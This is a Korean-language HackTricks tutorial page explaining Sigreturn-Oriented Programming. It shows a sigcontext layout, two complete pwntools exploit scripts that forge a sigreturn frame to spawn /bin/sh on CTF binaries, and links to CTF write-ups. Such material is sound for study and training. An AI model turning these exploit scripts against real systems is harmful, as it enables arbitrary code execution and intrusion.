SROP - Sigreturn-Oriented Programming
Reading time: 5 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Basic Information
**Sigreturn
**는 주로 신호 처리기가 실행을 완료한 후 정리하는 데 사용되는 특별한 syscall입니다. 신호는 운영 체제가 프로그램에 보내는 중단으로, 종종 예외적인 상황이 발생했음을 나타냅니다. 프로그램이 신호를 받으면, 신호 처리기라는 신호를 처리하기 위해 설계된 특별한 함수로 신호를 처리하기 위해 현재 작업을 일시 중지합니다.
신호 처리기가 끝난 후, 프로그램은 아무 일도 없었던 것처럼 이전 상태로 복귀해야 합니다. 여기서 **sigreturn
**이 작용합니다. 이는 프로그램이 신호 처리기에서 반환하고 신호 처리기에 의해 사용된 스택 프레임(함수 호출 및 지역 변수를 저장하는 메모리 섹션)을 정리하여 프로그램의 상태를 복원하는 데 도움을 줍니다.
흥미로운 점은 **sigreturn
**이 프로그램의 상태를 복원하는 방법입니다: 이는 모든 CPU의 레지스터 값을 스택에 저장함으로써 이루어집니다. 신호가 더 이상 차단되지 않으면, sigreturn
은 이 값을 스택에서 팝하여 CPU의 레지스터를 신호가 처리되기 전의 상태로 효과적으로 재설정합니다. 여기에는 현재 스택의 맨 위를 가리키는 스택 포인터 레지스터(RSP)가 포함됩니다.
caution
ROP 체인에서 syscall **sigreturn
**을 호출하고 스택에 로드할 레지스터 값을 추가함으로써 모든 레지스터 값을 제어할 수 있으며, 따라서 예를 들어 syscall execve
를 /bin/sh
로 호출할 수 있습니다.
이것이 다른 Ret2syscall을 호출하기 위한 매개변수를 제어하는 데 훨씬 더 쉽게 만드는 Ret2syscall의 일종이라는 점에 유의하십시오:
궁금하다면, 이는 나중에 값을 복구하기 위해 스택에 저장된 sigcontext 구조체입니다 (다이어그램은 여기에서 확인할 수 있습니다):
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
더 나은 설명을 위해 다음도 확인하세요:
예시
여기에서 ROP를 통해 signeturn 호출이 구성된 예시를 찾을 수 있습니다 (rxa에 값 0xf
를 넣음), 비록 이것이 최종 익스플로잇입니다:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
여기서 익스플로잇을 확인하세요 이진 파일이 이미 sigreturn
을 호출하고 있으므로 ROP로 이를 구축할 필요가 없습니다:
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
다른 예제 및 참고자료
- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
- https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
- 스택에 쓰기를 허용하고
sigreturn
시스템 호출을 호출하는 어셈블리 바이너리. 스택에 ret2syscall을 sigreturn 구조체를 통해 쓸 수 있으며, 바이너리의 메모리 안에 있는 플래그를 읽을 수 있습니다. - https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
- 스택에 쓰기를 허용하고
sigreturn
시스템 호출을 호출하는 어셈블리 바이너리. 스택에 ret2syscall을 sigreturn 구조체를 통해 쓸 수 있으며(바이너리는 문자열/bin/sh
를 포함하고 있습니다). - https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
- 64비트, no relro, no canary, nx, no pie. 가젯이 부족한
gets
함수를 악용한 간단한 버퍼 오버플로우로 ret2syscall을 수행합니다. ROP 체인은/bin/sh
를.bss
에 쓰고, 다시gets
를 호출하여alarm
함수를 악용하여 eax를0xf
로 설정하여 SROP를 호출하고 셸을 실행합니다. - https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
- 64비트 어셈블리 프로그램, no relro, no canary, nx, no pie. 흐름은 스택에 쓰고 여러 레지스터를 제어하며 시스템 호출을 호출한 후
exit
를 호출할 수 있게 합니다. 선택된 시스템 호출은sigreturn
으로, 레지스터를 설정하고eip
를 이전 시스템 호출 명령어를 호출하도록 이동시켜memprotect
를 실행하여 바이너리 공간을rwx
로 설정하고 ESP를 바이너리 공간에 설정합니다. 흐름을 따라 프로그램은 ESP에 다시 읽기를 호출하지만, 이 경우 ESP는 다음 명령어를 가리키므로 셸코드를 전달하면 다음 명령어로 작성되고 실행됩니다. - https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
- SROP는 셸코드가 배치된 위치에 실행 권한(memprotect)을 부여하는 데 사용됩니다.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.